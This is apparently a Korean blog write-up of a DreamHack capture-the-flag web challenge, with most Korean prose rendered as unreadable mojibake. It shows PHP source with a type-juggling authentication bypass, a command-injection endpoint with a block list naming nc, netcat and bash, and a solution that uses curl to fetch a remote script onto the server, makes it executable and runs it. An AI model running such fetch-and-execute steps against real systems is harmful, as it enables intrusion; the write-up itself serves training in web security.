Switching Commnad
0. Description
Not Friendly serviceโฆ Can you switching the command?
1. Analysis
ํ์ด์ง์ ์ ์ํ๋ฉด Username์ ์ ๋ ฅํ ์ ์๋ ํ๋ฉด์ด ๋ณด์ธ๋ค.
๋ค์ด๋ก๋ ๋ฐ์ ์ฝ๋๋ฅผ ํ์ธํด๋ณด๋ฉด ์ฌ์ฉ์ ์ ๋ ฅ๊ฐ์ ๋ํด json_decode()๋ฅผ ํตํด json ๋ฐ์ดํฐ๋ฅผ ํ์ฑํ๋ค.
Username์ด admin์ผ ๊ฒฝ์ฐ Admin Session์ ๊ฐ์ง๊ณ test.php๋ก ์ด๋ํ๋ค.
COPY
#index.php if ($_SERVER["REQUEST_METHOD"]=="POST"){ $data = json_decode($_POST["username"]); if ($data === null) { exit("Failed to parse JSON data"); } $username = $data->username; if($username === "admin" ){ exit("no hack"); } switch($username){ case "admin": $user = "admin"; $password = "***REDACTED***"; $stmt = $conn -> prepare("SELECT * FROM users WHERE username = ? AND password = ?"); $stmt -> bind_param("ss",$user,$password); $stmt -> execute(); $result = $stmt -> get_result(); if ($result -> num_rows == 1){ $_SESSION["auth"] = "admin"; header("Location: test.php"); } else { $message = "Something wrong..."; } break; default: $_SESSION["auth"] = "guest"; header("Location: test.php"); } }
์ฒซ๋ฒ์งธ ๋ฌธ์ ๋ switch ๋ฌธ์์ case "admin"์ผ๋ก ์ง์ ํด admin ์ธ์ ์ ํ ๋น๋ฐ์์ผํ๋๋ฐ "admin" ๋ฌธ์์ด์ ํํฐ๋ง์ด ๋๊ณ ์๋ค.
admin ํํฐ๋ง์์๋ ===(strict comparision)
์ ์ฌ์ฉํ์ฌ ์๋ฃํ๊น์ง ๊ฐ์์ง ํ์ธํ๊ณ ์๋ค.
ํ์ง๋ง switch/case ๋ฌธ์์๋ ์๋ ์ฒ๋ผ loose comparision
์ ์ฌ์ฉํ๋ค๊ณ ๋์ด์๋ค.

์ด ๋ถ๋ถ์ ์ด์ฉํ์ฌ username={"username":true}
๋ฅผ ์
๋ ฅํ๋ฉด "admin" ํํฐ๋ง์ ์ฐํํ๋ฉฐ, case "admin": ๋ฌธ์ ํต๊ณผํ ์ ์๋ค.



๋ค์์ test.php์ ๋ด์ฉ์ ํตํด flag๋ฅผ ํ๋ํด์ผํ๋ค. ์๋๋ test.php์ ๋ด์ฉ์ด๋ค.
COPY
#test.php $pattern = '/\b(flag|nc|netcat|bin|bash|rm|sh)\b/i'; if($_SESSION["auth"] === "admin"){ $command = isset($_GET["cmd"]) ? $_GET["cmd"] : "ls"; $sanitized_command = str_replace("\n","",$command); if (preg_match($pattern, $sanitized_command)){ exit("No hack"); } $resulttt = shell_exec(escapeshellcmd($sanitized_command)); }
cmd ํ๋ผ๋ฏธํฐ๋ฅผ ํตํด ์
๋ ฅ ๋ฐ์ ๊ฐ์ shell_exec()
๋ก ์คํํ๋ค.
๊ณผ์ ์์ ํน์ ๋ฌธ์์ด ํจํด๊ณผ escapeshellcmd()
๋ฅผ ํตํด Sanitize๋ฅผ ์ํํ๋ค.
๊ฒฐ๊ตญ cmd๋ ์๋ฒ ๋ด๋ถ์์ ์คํ๋๋ ๋ช ๋ น์ผ๋ก ๋ค์ํ ์๋ฒ ๋ช ๋ น์ ์ฌ์ฉํด๋ณผ ์ ์๋ค.
ํ์ง๋ง test.php์์ $result
๋ณ์๋ ํ๋ฉด์ ์ถ๋ ฅ์ด ๋๋๋ก ๋์ด์์ง๋ง, $resulttt
๋ ์ถ๋ ฅ์ด ๋์ง ์์ ๋จ์ํ ํ๋๊ทธ๋ฅผ ์คํํ์ฌ ๊ฐ์ ํ์ธํ ์๋ ์๋ค.
wget ๋๋ curl์ ํตํด ์๊ฒฉ์ง์์ ํ์ผ์ ๋ฐ์ ์ ์๋์ง ํ ์คํธํด๋ณด๋ curl์ ํตํด ์๊ฒฉ์ง ํ์ผ์ ๋ค์ด๋ก๋ ๋ฐ์ ์ ์์์ ํ์ธํ๋ค.
PHP ์น์ ๋๋ /flag
๋ฅผ ์คํํ์ฌ pattern์ ๊ฑธ๋ฆฌ์ง ์๋ ์ด๋ฆ์ผ๋ก ํ์ผ์ ์์ฑํ์ฌ ์ ๊ทผํด๋ณด๋ ๋ฐฉ๋ฒ์ด ์์๊ฑฐ๊ฐ๋ค.
2. Attack
ํ์๋ก ์งํ์ ํด๋ณด๋ฉด ์๋ ์ฒ๋ผ ํ๋๊ทธ๋ฅผ ํ๋ํ ์ ์๋ค.
COPY
#Filename:heogi #!/bin/bash /flag > te.ttt
COPY
1. GET /test.php?cmd=curl ctf.heogi.com/heogi -o heogi 2. GET /test.php?cmd=chmod 777 heogi 3. GET /test.php?cmd=/var/www/html/heogi 4. GET /te.ttt

'๐ก๏ธCTF > DreamHack' ์นดํ ๊ณ ๋ฆฌ์ ๋ค๋ฅธ ๊ธ
Curlove (0) | 2025.03.23 |
---|---|
Secure Mail (0) | 2024.01.03 |
Shell_Basic (0) | 2023.10.08 |
rev-basic-4 (0) | 2023.09.28 |
rev-basic-3 (0) | 2023.09.19 |
๋๊ธ
์ด ๊ธ ๊ณต์ ํ๊ธฐ
-
๊ตฌ๋
ํ๊ธฐ
๊ตฌ๋ ํ๊ธฐ
-
์นด์นด์คํก
์นด์นด์คํก
-
๋ผ์ธ
๋ผ์ธ
-
ํธ์ํฐ
ํธ์ํฐ
-
Facebook
Facebook
-
์นด์นด์ค์คํ ๋ฆฌ
์นด์นด์ค์คํ ๋ฆฌ
-
๋ฐด๋
๋ฐด๋
-
๋ค์ด๋ฒ ๋ธ๋ก๊ทธ
๋ค์ด๋ฒ ๋ธ๋ก๊ทธ
-
Pocket
Pocket
-
Evernote
Evernote
๋ค๋ฅธ ๊ธ
-
Curlove
Curlove
2025.03.23 -
Secure Mail
Secure Mail
2024.01.03 -
Shell_Basic
Shell_Basic
2023.10.08 -
rev-basic-4
rev-basic-4
2023.09.28
๋๊ธ์ ์ฌ์ฉํ ์ ์์ต๋๋ค.